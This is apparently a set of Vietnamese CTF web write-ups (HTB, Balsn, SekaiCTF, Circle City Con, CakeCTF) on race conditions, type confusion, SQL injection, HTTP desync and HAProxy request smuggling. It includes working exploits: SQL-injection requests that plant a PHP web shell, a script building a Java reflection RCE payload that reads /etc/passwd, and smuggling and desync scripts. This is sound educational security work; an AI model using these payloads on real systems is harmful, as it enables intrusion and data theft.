| Khi mua hàng thì nó cũng sẽ call đến API `/api/purchase` và trừ tiền dựa trên mệnh giá 5 | 6 | ### Analyzing endpoints 7 | Cùng vào phân tích 2 endpoints chính. Tại cả 2 endpoint thì nó sẽ gọi `db.getUser(req.data.username)` để lấy info user từ db thông qua tên trong jwt, nếu không thấy nó sẽ khởi tạo user mới với balance = 0, sau đó là tới logic xử lý chính 8 | 9 | Tại endpoint `/api/coupons/apply` thì `coupon_code` sẽ được check xem nó đã có trong `user.coupons` (lấy từ db) hay chưa bằng hàm `includes`, vì sao lại là `includes` thì là do các coupons được add vào theo kiểu nối chuỗi, câu query: 10 | ```sql 11 | UPDATE userData SET coupons = coupons || ? WHERE username = ? 12 | 13 | Dấu || là nối chuỗi nha ae 14 | ``` 15 | Nếu check không thấy `coupon_code` thì nó sẽ chạy câu query trên để add coupon vô rồi cộng balance 1.00 16 | 17 | Tại endpoint `/api/purchase` thì nó check xem đủ tiền để mua không thôi, nếu item mua là `C8` thì nó sẽ nhả flag ra, nhưng mà flag này mắc quá tận 13.37, so với cái coupon 1\$ thì chắc chắn là không đủ tiền. 18 | ### Intended solution: race condition 19 | Cách làm intended của bài này là race codition, nhìn vào đoạn code cộng tiền của app 20 | ```javascript 21 | async addBalance(user, coupon_value) { 22 | return new Promise(async (resolve, reject) => { 23 | try { 24 | let stmt = await this.db.prepare('UPDATE userData SET balance = balance + ? WHERE username = ?'); 25 | resolve((await stmt.run(coupon_value, user))); 26 | } catch(e) { 27 | reject(e); 28 | } 29 | }); 30 | } 31 | ``` 32 | Như ta thấy, query được chạy mà không có transaction lock nào và cũng không có cơ chế lock nào khác nên đây khả năng là một lỗi race condition tiềm năng. Đọc thêm về transaction lock: https://sqlfordevs.com/transaction-locking-prevent-race-condition 33 | 34 | Đây cũng là cách tiếp cận của hầu hết các bài writeup mà mình tìm được trên mạng, vì nó có sẵn rồi nên mình sẽ không viết lại, thay vào đó tại đây mình sẽ trình bày một cách unintended mình tìm được trong lúc làm bài 35 | 36 | ### Unintended: type confusion 37 | Qua vài lần nhả input vào để test mình đã nhận ra là nếu mua một món hàng và gửi data là `item:"C8"` thì ta cũng có thể gửi `item:["C8"]` (array) và nó sẽ vẫn nhận 38 | ![](https://i.imgur.com/6UKujxE.png) 39 | 40 | Tại sao lại như thế? Theo như mình test thì đây là một behavior khá lạ của `sqlite-async` (một module mà app dùng) 41 | 42 | `sqlite-async` thực chất là một wrapper của module `sqlite3`, theo mình thử thì khi chạy các câu truy vấn `SELECT` thì bằng một cách nào đó, array truyền vào sẽ được ép kiểu sang string, tuy nhiên việc này lại không xảy ra ở những query `UPDATE`, dẫn đến việc array truyền vào không thể xử lý được do không hợp lệ, tuy nhiên cũng không có exception nào được throw ra cả, nên chương trình vẫn sẽ hoạt động bình thường. 43 | 44 | Áp dụng cái behavior này qua endpoint add coupon, ta sẽ gửi đi body: 45 | ```json 46 | { 47 | "coupon_code":[ 48 | "HTB_100" 49 | ] 50 | } 51 | ``` 52 | Vì coupon không được cộng chuỗi vào nhưng tiền thì đã cộng do câu query `SELECT` để lấy value của coupon trước đó đã thành công theo như behavior ta đã bàn nên ta có thể gửi đi nhiều lần và cộng tiền vô hạn, lấy jwt đó để tiếp tục mua item `C8` ta sẽ có được flag 53 | 54 | ![](https://i.imgur.com/w75EwSD.png) 55 | 56 | -------------------------------------------------------------------------------- /balsn/web.md: -------------------------------------------------------------------------------- 1 | ## Balsn CTF 2023 web writeup 2 | 3 | ### SaaS (solve: 19) 4 | Vấn đề của bài này là ta control được 1 phần object truyền vào `validatorFactory`, dẫn đến ta kiểm soát được 1 phần function được tạo ra, từ đó khi function này được thực thi thì ta có thể inject js code vào để thực thi cùng. 5 | 6 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/6fb3f047-0822-4186-beb1-2440f1498daf) 7 | 8 | Trace một tí ta sẽ đến đoạn này 9 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/392d4bab-dc39-470e-930a-c31bef444985) 10 | 11 | `required` là một array được lấy từ object ban đầu mà ta truyền vào, đây là sink cuối. Vậy chỉ cần một post data như thế này ta sẽ thành công thực hiện RCE được server 12 | 13 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/941fff68-e619-406d-8189-90c622691c6b) 14 | 15 | Ở phần request line thì `http://a.saas/whowilldothis/b3703f0b-c6a9-4ba6-b80b-32860238aaaa` là để server_name thỏa mãn `*.saas` trong khi host header sẽ được set là `easy++++++` nhằm bypass đoạn check của nginx 16 | 17 | ### Ginowa (solve: 13) 18 | Bài này được setup với 1 proxy ở frontend thực hiện giao tiếp với api ở phía backend chủ yếu thông qua file `api.php`. Ở backend ta thấy 1 lỗi SQL Injection khá rõ ràng xuất phát từ việc dùng prepare statement sai cách 19 | 20 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/f9adedfe-4b4b-4145-aaf1-9d5904f35798) 21 | 22 | Bài cho ta 3 thông tin đó là info.php ở frontend, backend và thông tin về các service đang chạy. Intended của bài là lợi dụng 1 việc `LOAD_FILE` có thể dùng với wildcard, từ đó đọc file binary ở server, reverse một chút và đọc được flag. Ở đây mình sẽ nói đến một cách làm khác của mình: 23 | 24 | Do thấy được ta có quyền ghi file, nhưng file ghi lên bị xóa sau một khoản thời gian nhất định, ngay cả khi có thể spam request để liên tục ghi file đó lại sau khi bị xóa thì cũng không thể truy cập vào file shell đã ghi như cách thông thường để chạy nó được. Tới đây mình nghĩ ra cách ghi 1 file .htaccess lên server để chuyển hướng truy cập vào file php vừa ghi mỗi khi truy cập vào api.php, ta sẽ cho race 2 luồng ghi file a.php và luồng ghi file .htaccess lại, ở file a.php ta sẽ trả về 1 đoạn JSON hợp lệ cùng với "name" là kết quả của lệnh `shell_exec` để đọc được output của lệnh. 25 | 26 | Upload file `a.php`: 27 | ``` 28 | GET /?id=<@urlencode>11111'+UNION+SELECT+'','','','+"ok","name"+=>"result:".shell_exec("dir C:\\")])+?>'+INTO+OUTFILE+'C:\\xampp\\htdocs\\a.php<@/urlencode> HTTP/1.1 29 | Host: ginowa-1.balsnctf.com 30 | Cache-Control: max-age=0 31 | Upgrade-Insecure-Requests: 1 32 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36 33 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 34 | Accept-Encoding: gzip, deflate 35 | Accept-Language: en-US,en;q=0.9 36 | Connection: close 37 | 38 | ``` 39 | 40 | Upload .htaccess: 41 | ``` 42 | GET /?id=<@urlencode>11111'+UNION+SELECT+'','','','Redirect+301+/api.php+/a.php'+INTO+OUTFILE+'C:\\xampp\\htdocs\\.htaccess<@/urlencode> HTTP/1.1 43 | Host: ginowa-1.balsnctf.com 44 | Cache-Control: max-age=0 45 | Upgrade-Insecure-Requests: 1 46 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36 47 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 48 | Accept-Encoding: gzip, deflate 49 | Accept-Language: en-US,en;q=0.9 50 | Connection: close 51 | 52 | ``` 53 | 54 | Race 2 luồng này ta sẽ đọc được kết quả từ lệnh dir, từ đó biết tên file PE. Sau đó mình upload file PE này lên https://bashupload.com/ bằng curl rồi tải về đọc, đưa vào IDA thấy được nó đang cố gắng mở một file `s` và thực hiện 1 hàm decrypt, thử dùng cách upload bằng curl cũ để upload cả file `s` cùng thư mục lên và tải về, sau đó chạy file PE ban đầu ta có được flag: 55 | 56 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/d14ef92b-35e2-4330-ad94-3b7b9166cf06) 57 | -------------------------------------------------------------------------------- /sekaictf-2023/frog-waf.py: -------------------------------------------------------------------------------- 1 | str_to_use = "message.getClass().getModule().getLayer().toString()" 2 | res = "java.base, java.logging, jdk.crypto.ec, java.instrument, jdk.management, jdk.jdi, jdk.security.jgss, jdk.naming.rmi, jdk.jdwp.agent, jdk.zipfs, jdk.sctp, jdk.naming.ldap, jdk.jartool, java.security.jgss, jdk.net, jdk.jconsole, jdk.scripting.nashorn, jdk.management.agent, jdk.jstatd, java.management, jdk.jsobject, java.management.rmi, jdk.internal.le, java.datatransfer, java.desktop, jdk.accessibility, java.rmi, java.naming, jdk.jshell, jdk.internal.jvmstat, jdk.unsupported.desktop, jdk.xml.dom, java.prefs, jdk.management.jfr, jdk.charsets, jdk.editpad, java.net.http, java.smartcardio, jdk.naming.dns, java.transaction.xa, java.compiler, java.sql.rowset, java.scripting, java.security.sasl, java.xml.crypto, jdk.dynalink, jdk.unsupported, jdk.jlink, java.sql, jdk.compiler, jdk.security.auth, jdk.jdeps, jdk.localedata, jdk.httpserver, jdk.crypto.cryptoki, jdk.jfr, jdk.javadoc, jdk.internal.ed, jdk.attach, jdk.internal.opt, java.xml" 3 | # res = "jdk.internal.jvmstat, java.scripting, jdk.internal.le, java.compiler, jdk.attach, java.datatransfer, jdk.localedata, jdk.zipfs, java.transaction.xa, jdk.javadoc, jdk.security.auth, jdk.jstatd, jdk.internal.ed, java.naming, java.instrument, jdk.editpad, jdk.management.jfr, jdk.jdwp.agent, java.sql, java.net.http, jdk.unsupported.desktop, jdk.management, java.security.sasl, jdk.dynalink, jdk.jsobject, java.base, jdk.naming.rmi, java.logging, jdk.naming.dns, java.management.rmi, jdk.compiler, jdk.jartool, java.xml.crypto, java.security.jgss, jdk.charsets, java.management, jdk.sctp, jdk.jdi, jdk.crypto.cryptoki, jdk.xml.dom, jdk.jlink, java.rmi, jdk.accessibility, jdk.security.jgss, java.prefs, jdk.naming.ldap, jdk.unsupported, jdk.internal.opt, jdk.jconsole, jdk.jfr, java.sql.rowset, jdk.net, jdk.management.agent, jdk.scripting.nashorn, java.desktop, jdk.httpserver, jdk.crypto.ec, java.xml, java.smartcardio, jdk.jshell, jdk.jdeps" 4 | 5 | def find_char(char, arr, need_lower = False, need_upper = False): 6 | global str_to_use 7 | 8 | first_index = res.index(char) 9 | tmp_str_chunk = str_to_use 10 | for i in range(first_index): 11 | tmp_str_chunk += ".substring(message.lines().count())" 12 | tmp_str_chunk += ".substring(message.compareTo(message),message.lines().count())" 13 | if need_lower: 14 | tmp_str_chunk += ".toLowerCase()" 15 | elif need_upper: 16 | tmp_str_chunk += ".toUpperCase()" 17 | arr.append(tmp_str_chunk) 18 | 19 | def generate_payload(want_to_construct): 20 | arr = [] 21 | for char in want_to_construct: 22 | try: 23 | find_char(char, arr) 24 | except ValueError: 25 | if char.isupper(): 26 | char = char.lower() 27 | find_char(char, arr, False, True) 28 | else: 29 | char = char.upper() 30 | find_char(char, arr, False, True) 31 | 32 | result = "" 33 | parentheses = 0 34 | for chunk in arr: 35 | result += chunk + ".concat(" 36 | parentheses += 1 37 | for i in range(parentheses): 38 | if i == 0: 39 | result += "message.repeat(message.compareTo(message)))" 40 | continue 41 | result += ")" 42 | return result 43 | 44 | 45 | def generate_char(char_to_generate): 46 | ascii_num = ord(char_to_generate) 47 | payload = "%s.getDeclaredMethods()[%s]" 48 | payload = payload % (load_class("java.lang.Character"), generate_padding(5)) 49 | payload += ".invoke(%s, %s)" 50 | payload = payload % (load_class("java.lang.Character"), generate_padding(ascii_num)) 51 | return payload 52 | 53 | def generate_padding(len_to_pad): 54 | the_padding_str = generate_payload("a"*len_to_pad) 55 | the_padding_str = "(" + the_padding_str + ").length()" 56 | return the_padding_str 57 | 58 | def generate_command(command): 59 | payload = "" 60 | arr = [] 61 | for part in command.split(" "): 62 | try: 63 | tmp = generate_payload(part) 64 | arr.append(tmp) 65 | except ValueError: 66 | for tmp_tmp in list(part): 67 | arr.append(generate_char(tmp_tmp)) 68 | arr.append(generate_char(" ")) 69 | parentheses = 0 70 | for chunk in arr: 71 | payload += chunk + ".concat(" 72 | parentheses += 1 73 | for i in range(parentheses): 74 | if i == 0: 75 | payload += "message.repeat(message.compareTo(message)))" 76 | continue 77 | payload += ")" 78 | return payload 79 | 80 | 81 | def load_class(class_name): 82 | return "message.getClass().getModule().getLayer().findLoader(%s).loadClass(%s)" % (generate_payload("jdk.jdi"), generate_payload(class_name)) 83 | 84 | 85 | import requests, json 86 | 87 | wrapper = load_class("java.io.BufferedReader") 88 | wrapper += ".getDeclaredConstructors()[message.lines().count()]" 89 | reader = load_class("java.io.InputStreamReader") 90 | reader += ".getDeclaredConstructors()[%s]" % (generate_padding(3)) 91 | payload = load_class("java.lang.Runtime") 92 | payload += ".getDeclaredMethods()[%s]" 93 | payload = payload % (generate_padding(7)) 94 | payload += ".invoke(%s)" 95 | payload = payload % (load_class("java.lang.Runtime")) 96 | # print(payload) 97 | 98 | payload += ".exec(%s).getInputStream()" % (generate_command("sh -c $@|sh . echo cat /etc/passwd | base64 -w0")) 99 | 100 | payload = (reader + ".newInstance(%s)") % (payload) 101 | payload = (wrapper + ".newInstance(%s).readLine()") % (payload) 102 | # print(payload) 103 | 104 | url = "http://frog-waf.chals.sekai.team/addContact" 105 | post_data = open("a.txt", "r").read() % (payload) 106 | post_data = json.loads(post_data) 107 | # print(post_data) 108 | 109 | req = requests.post(url, json=post_data) 110 | print(req.text) 111 | -------------------------------------------------------------------------------- /Circle City Con 8.0/StickyNotes.md: -------------------------------------------------------------------------------- 1 | Một challenge rất hay do `qxxxb` viết trong giải `Circle City Con 8.0` vào năm 2020, thông qua challenge này đã giúp mình hiểu hơn về HTTP desync và browser, cùng vào bài nào 2 | 3 | ## Goal bài và trở ngại 4 | - Bài gồm 1 frontend server và 1 CDN server chứa các notes do user tải lên. CDN chứa 1 endpoint để get flag nhưng cần có token đúng 5 | - Ta cần tìm ra cách để lấy được token do bot nắm giữ, token này nằm trong cookie của bot khi nó visit các note của ta 6 | - Các note tải lên được lưu vào file và không thông qua hàm encode/sanitize nào tuy nhiên khi trả về từ CDN thì `Content-Type` luôn là `plain/text` do đó không thể XSS trực tiếp 7 | 8 | ## HTTP Desync 9 | Tại `notes.py` là source code của CDN server, server này được tác giả implement từ raw TCP, đọc đến hàm `send_file` nơi xử lý việc trả về các notes cho user ta sẽ thấy một bug có thể lead đến HTTP desync: 10 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/d6cf50ea-d598-4fb4-a454-9352d209de91) 11 | 12 | Hàm `http_header` sẽ prepare phần header cho response: 13 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/7f1d20e1-9bd1-4b91-9ec5-9bc98da0b06b) 14 | 15 | Để ý thấy trong header thì length của message được lấy sau khi convert lại từ bytes về string, nhưng khi đem message đi chia thành các chunk thì lại dùng message ở dạng `bytes`, nghĩa là nếu ban đầu message chứa các multibytes unicode thì chắc chắn length khi decode về string sẽ ít hơn so với khi gửi => **HTTP Desync** 16 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/ace4d6b9-9f82-4d5e-881a-8f87f322340d) 17 | 18 | Vậy ta có thể inject thêm 1 response về response gốc của server CDN, vậy ta có thể làm gì với lỗi này? 19 | 20 | ## Chrome implementation 21 | Chrome có hỗ trợ parallel connection, bằng chứng là khi truy cập vào web ta sẽ thấy nhiều tài nguyên được load cùng lúc, ví dụ như `favicon.ico`, `styles.css`, `main.js` sẽ được load cùng lúc chứ không tuyến tính. Tuy nhiên số tài nguyên được load cùng lúc lại bị giới hạn lại, với mỗi domain thì chrome sẽ chỉ cho phép **6** parallel connection. 22 | 23 | Để tiết kiệm tài nguyên, chrome sẽ không luôn luôn khởi tạo 1 TCP connection mới để load resource, mà sẽ check xem có TCP connection nào có thể reuse được không bằng cách kiểm tra `Connection` header, nếu mang giá trị `keep-alive` thì chrome sẽ biết connection này có thể reuse được và tiếp tục fetch resource thông qua tcp connection này. 24 | 25 | Như ta thấy thì trong response header của cdn sẽ luôn có `Connection: keep-alive`, vậy liệu ta có thể kết hợp bug HTTP desync ta có và Chrome implementation lại hay không? 26 | 27 | ## Exploitation idea 28 | Vì đặc điểm của CDN server là nó sẽ chia response thành các chunk dài 1448 bytes và sleep 0.1s sau mỗi lần gửi, nên ta có thể tạo 1 note chứa payload khiến response bị split ra, 5 note còn lại sẽ khiến cho cả 6 connection bị lock, ngay khi connection của evil note ta tạo ban đầu load xong n bytes đầu tiên, nó sẽ tiếp tục reuse connection để load tiếp các bytes chứa phần response mà ta đã inject vào 29 | 30 | Anatomy: 31 | ``` 32 | ----------------------------------------------------------- 33 | admin bot -------------------------------> frontend 34 | admin bot --------------node#0-----------> CDN ( finish in ns ) 35 | admin bot --------------node#1-----------> CDN ( finish in n+xs ) 36 | admin bot --------------node#2-----------> CDN ( finish in n+xs ) 37 | admin bot --------------node#3-----------> CDN ( finish in n+xs ) 38 | admin bot --------------node#4-----------> CDN ( finish in n+xs ) 39 | admin bot --------------node#5-----------> CDN ( finish in n+xs ) 40 | admin bot --------------node#6-----------> CDN (reuse connection of node#0, fetch malicious response) 41 | ----------------------------------------------------------- 42 | ``` 43 | 44 | Chrome bắt buộc các HTTP response phải nằm trong các TCP chunk khác nhau, do đó ta sẽ phải canh chỉnh để khiến HTTP response align đúng theo quy tắc này: 45 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/5dd87041-3d0c-41f1-a7d7-efbc51ece7fa) 46 | 47 | Ở đây ký tự `¡` sẽ chiếm 2 byte, ta sẽ pad 1448 byte `¡` và 1448 byte bao gồm (payload + padding) với cách craft trên thì `Content-Type` mà chrome nhận được sẽ là `2896`, thấp hơn nhiều so với length của response thực tế, bằng cách này thì `2896` bytes mà chrome đọc sẽ chỉ đến cuối của phần padding 1448 byte `¡`, phần padding "AAAA..." phía sau là để nâng length của response lên đúng bằng cuối phần padding chữ `¡` ban đầu, và response tiếp theo mà chrome fetch từ connection lúc nãy sẽ là response mà ta inject vào 48 | 49 | ```py 50 | import requests 51 | 52 | def create_note(content, id): 53 | burp0_url = "http://localhost:3100/board/add_note" 54 | burp0_json={"body": content, "id": id} 55 | return "http://localhost:3101/" + id + "/" + requests.post(burp0_url, json=burp0_json).text.replace("\"", "") 56 | 57 | 58 | def create_evil_note(id, script = ""): 59 | 60 | payload = f"""HTTP/1.1 200 OK\r 61 | Content-Type: text/html\r 62 | Content-Length: {len(script)}\r 63 | \r 64 | {script}""" 65 | 66 | payload_len = 1448 67 | payload = payload + "A" * (payload_len - len(payload)) 68 | 69 | ans = "¡"*1448 + payload 70 | create_note(ans, id) 71 | 72 | def fill_5_other_connection(id): 73 | for _ in range(5): 74 | create_note("😍"*(1448*10), id) 75 | 76 | 77 | def exploit(): 78 | res = requests.get("http://localhost:3100/create_board", allow_redirects=False) 79 | id = res.headers['location'][len("/board/"):] 80 | 81 | payload = "" 82 | 83 | create_evil_note(id, payload) 84 | fill_5_other_connection(id) 85 | create_note("a", id) 86 | 87 | print("payload at: " + id) 88 | 89 | exploit() 90 | ``` 91 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/c5a149a6-4c9a-45a2-8b4d-8b737cdb5122) 92 | 93 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/747bc2b0-67a2-4943-9350-1fb2d258ac53) 94 | 95 | 96 | 97 | -------------------------------------------------------------------------------- /CakeCTF 2022/CakeGear.md: -------------------------------------------------------------------------------- 1 | # CakeCTF 2022: Cake Gear 2 | 3 | **link**: http://web1.2022.cakectf.com:8005 4 | 5 | source code: 6 | 7 | `index.php`: 8 | ``` 9 | username) && isset($req->password)) { 20 | if ($req->username === 'godmode' 21 | && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) { 22 | /* Debug mode is not allowed from outside the router */ 23 | $req->username = 'nobody'; 24 | } 25 | 26 | switch ($req->username) { 27 | case 'godmode': 28 | /* No password is required in god mode */ 29 | $_SESSION['login'] = true; 30 | $_SESSION['admin'] = true; 31 | break; 32 | 33 | case 'admin': 34 | /* Secret password is required in admin mode */ 35 | if (sha1($req->password) === ADMIN_PASSWORD) { 36 | $_SESSION['login'] = true; 37 | $_SESSION['admin'] = true; 38 | } 39 | break; 40 | 41 | case 'guest': 42 | /* Guest mode (low privilege) */ 43 | if ($req->password === 'guest') { 44 | $_SESSION['login'] = true; 45 | $_SESSION['admin'] = false; 46 | } 47 | break; 48 | } 49 | 50 | /* Return response */ 51 | if (isset($_SESSION['login']) && $_SESSION['login'] === true) { 52 | echo json_encode(array('status'=>'success')); 53 | exit; 54 | } else { 55 | echo json_encode(array('status'=>'error')); 56 | exit; 57 | } 58 | } 59 | ?> 60 | 61 | 62 | 63 | 64 | login - CAKEGEAR 65 | 66 | 67 | 68 |

CakeWiFi Login

69 |
70 | 71 | 72 |
73 | 74 | 75 |
76 | 77 |

78 |
79 | 98 | 99 | 100 | 101 | ``` 102 | 103 | `admin.php` 104 | 105 | ``` 106 | 121 | 122 | 123 | 124 | 125 | control panel - CAKEGEAR 126 | 127 | 128 | 129 |

Router Control Panel

130 | 131 | 132 | 133 | 134 | 135 | 136 |
StatusUP
Router IP192.168.1.1
Your IP192.168.1.7
Access Mode
FLAG
137 | 138 | 139 | 140 | ``` 141 | 142 | 143 | Nhìn vào switch case của file index.php, ta thấy web có 3 chế độ login: `godmode`, `admin` và `guest`. Ở quyền guest ta không thể đọc được flag, vậy ta chỉ có 2 cách là crack được pass được mã hóa sha1 hoặc là login bằng quyền `godmode`. 144 | 145 | Vì việc bruteforce để tìm ra plaintext đúng của mã sha1 là khá tốn thời gian nên mình loại cách này, chuyển sang việc tìm cách để login với quyền `godmode`. Vấn đề ở đây là web sẽ check nếu username là godmode và IP của client không phải là IP localhost thì sẽ đổi username thành `nobody` và không có login vào. 146 | 147 | ``` 148 | if ($req->username === 'godmode' 149 | && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) { 150 | /* Debug mode is not allowed from outside the router */ 151 | $req->username = 'nobody'; 152 | } 153 | ``` 154 | 155 | Mình research khá nhiều và tìm xem có cách nào để tác động đến `$_SERVER['REMOTE_ADDR']` không nhưng mà khá là no hope. Sau một lúc research thì mình tìm ra được cách so sánh của mệnh đề `switch...case` trong PHP dựa trên loose comparison, nhìn lại vào câu check trên thì username lại được check bằng strict comparison. 156 | 157 | Với việc data được truyền đi bằng json, ta có thể kiểm soát được data type của các field, làm fail câu if bên trên nhưng vẫn có thể làm cho câu switch case chạy vào đoạn case đầu tiên. 158 | 159 | Dựa vào [PHP type comparison tables](https://www.php.net/manual/en/types.comparisons.php), ta có thể dùng `true` để gán cho username field và đạt được điều trên. 160 | 161 | ``` 162 | { 163 | "username": true, 164 | "password": "godmode" 165 | } 166 | ``` 167 | 168 | FLAG: `CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}` 169 | 170 | -------------------------------------------------------------------------------- /HTB-apocalypse-2024/percetron.md: -------------------------------------------------------------------------------- 1 | # The challenge 2 | name: percetron 3 | 4 | difficulty: hard 5 | ## Solution 6 | Bài này mình nắm bắt cách làm từ rất sớm, 90% thời gian làm còn lại là mình tìm cách để bypass đến route `/healthcheck-dev` do ACl của HAproxy chặn. 7 | 8 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/2594b21d-bd1a-4084-ab04-8cf8d805e5ff) 9 | 10 | Hướng làm sẽ như sau, đầu tiên bằng cách nào đó bypass ACL để reach endpoint `/healthcheck-dev` nhằm thực hiện SSRF đến mongodb bằng protocol `gopher` 11 | 12 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/046ae722-d900-4b9f-9b87-9e54bd405145) 13 | 14 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/a684e1ca-84e4-4fac-9203-c411ab839bb2) 15 | 16 | Từ đó ta tạo được một account admin, sau đó lợi dụng Neo4j injection tại `/panel/management/addcert` để control filename của cert được add 17 | 18 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/74e9df2a-1b3b-4a70-b8de-7ee4e29c1389) 19 | 20 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/51a595b1-b72d-4fce-88d4-b96544de8a2c) 21 | 22 | Khi đó tại endpoint `/panel/management/dl-certs` ta có thể trigger RCE vì khi trace vào method `compress` của thư viện `@steezcram/sevenzip` ta sẽ thấy rằng filename được truyền vào `execFile` với `shell: true`. 23 | 24 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/8e0460ac-efab-4814-aaee-3d4f286df268) 25 | 26 | Quan trọng nhất ở bài này sẽ là bước bypass ACL và SSRF lên mongodb 27 | ## ACL bypass with `CVE-2023-25725` 28 | CVE này mình đã chú ý đến nó, tuy nhiên khi thử nghiệm mình lại chưa thể lead nó ra HTTP smuggling được. Lỗ hổng của HAProxy là HAProxy sẽ không forward các header nằm phía sau một empty header 29 | Patch: 30 | 31 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/57ba9eb3-a8a4-4630-ba0a-3e823b6b412d) 32 | 33 | Vậy thì ta có thể để một Content-Length phía sau một empty header để HAproxy không forward nó về backend => request sẽ không có body và phần body sẽ được xem là request thứ 2, thử kiểm chứng giả thuyết: 34 | ```py 35 | from pwn import * 36 | 37 | conn = remote("localhost", 1337) 38 | 39 | conn.send("""GET /test HTTP/1.1 40 | Host: localhost:1337 41 | :x 42 | Content-Length: 250 43 | 44 | GET /healthcheck-dev HTTP/1.1 45 | Host: localhost:1337 46 | Connection: keep-alive 47 | Content-Length: 0 48 | """.replace("\n", "\r\n").encode() + b"\r\n"*50) 49 | 50 | conn.interactive() 51 | 52 | ``` 53 | Ở phía server mình dùng netcat để debug 54 | 55 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/dcc0572b-1e51-4a69-ab29-e59a67792ced) 56 | 57 | Như bạn thấy, vì không có Content-Length khi forward nên HAProxy đã forward một transfer-encoding để thay thế và biến response thành một chunk => tạch, đây chính là thứ làm mình nghĩ rằng bug này không thể lead ra HTTP smuggling được, tuy nhiên nếu ta đổi version HTTP sử dụng thành 1.0 hoặc 0.9: 58 | 59 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/c24aea9e-b26d-431c-a9d5-e0618650f4c5) 60 | 61 | Lần này thì Transfer-Encoding lại không được thêm vào nữa, tại sao lại như thế? 62 | 63 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/47042670-deb7-44ec-ab30-66ef309441d9) 64 | 65 | ## H1 decoder 66 | Cùng phân tích patch của HAProxy: https://git.haproxy.org/?p=haproxy-2.7.git;a=commitdiff;h=a0e561ad7f29ed50c473f5a9da664267b60d1112 67 | 68 | Ta thấy đầu tiên họ sẽ reject một message có empty header name 69 | 70 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/cfd3bd41-a4f1-4c9a-84e2-08f13f97c949) 71 | 72 | Ngoài ra tại file `h1.c` sẽ thực hiện parse header thành một header list, entry cuối cùng của list sẽ là một entry với empty header name, giống như việc một string sẽ được terminate bằng null byte vậy, việc inject một header có empty header name giống như việc null byte injection đã từng xảy ra trong các phiên bản PHP cũ vậy. Bằng việc inject vào một empty header ta có thể truncate header list và bỏ qua các header còn lại, đó là bản chất của lỗ hổng này. 73 | 74 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/355fa977-2db7-403f-8650-58f4cb5fdafe) 75 | 76 | Vấn đề khi escalate lỗ hổng lên HTTP smuggling đó là khi HTTP sử dụng version 1.1, nếu header Content-Length không có trong header list thì một header `transfer-encoding` sẽ được thêm vào và body sẽ được chuyển thành một chunk 77 | 78 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/d43259fa-4e00-4d30-a2df-bd87be20f121) 79 | 80 | Để giải quyết vấn đề này ta chỉ cần down version HTTP sử dụng xuống thành 1.0 hoặc 0.9 81 | 82 | ``` 83 | from pwn import * 84 | 85 | conn = remote("localhost", 1337) 86 | 87 | conn.send("""GET /test HTTP/1.0 88 | Host: localhost:1337 89 | :x 90 | Content-Length: 250 91 | 92 | GET /healthcheck-dev HTTP/1.0 93 | Host: localhost:1337 94 | Connection: keep-alive 95 | Content-Length: 0 96 | """.replace("\n", "\r\n").encode() + b"\r\n"*50) 97 | 98 | conn.interactive() 99 | ``` 100 | 101 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/93e495cf-0e78-468d-9ad5-f769127ecbdd) 102 | 103 | Tại sao việc down HTTP version từ 1.1 xuống 1.0 hoặc 0.9 lại khiến HAProxy không convert HTTP message sang format chunked nữa? Đơn giản là vì Transfer-Encoding được support từ HTTP 1.1 trở đi, HAProxy đã implement đúng theo RFC. 104 | 105 | ## Mongodb protocol 106 | Giờ ta đã reach được endpoint SSRF, vậy làm thế nào để SSRF đến mongodb rồi tạo một account? Cách đơn giản sẽ là mở TCPdump hoặc Wireshark để capture lại packet lúc gửi command lên mongodb, vì ta thấy switch `--noauth` được dùng khi chạy mongo service nên ta sẽ chỉ cần 1 request duy nhất, khi mới nghĩ đến idea này mình đã lo rằng có thể mongodb sẽ thực hiện handshake gì đó trước khi bắt đầu truyền data, mình thử dùng mongosh connect đến netcat và nhận thấy nó gửi một núi data đến, may mắn đây chỉ là client hello nhằm mục đích xác nhận rằng bên server có chạy mongodb. 107 | 108 | Sau khi dùng TCPdump ta có được một url như bên dưới: 109 | ``` 110 | 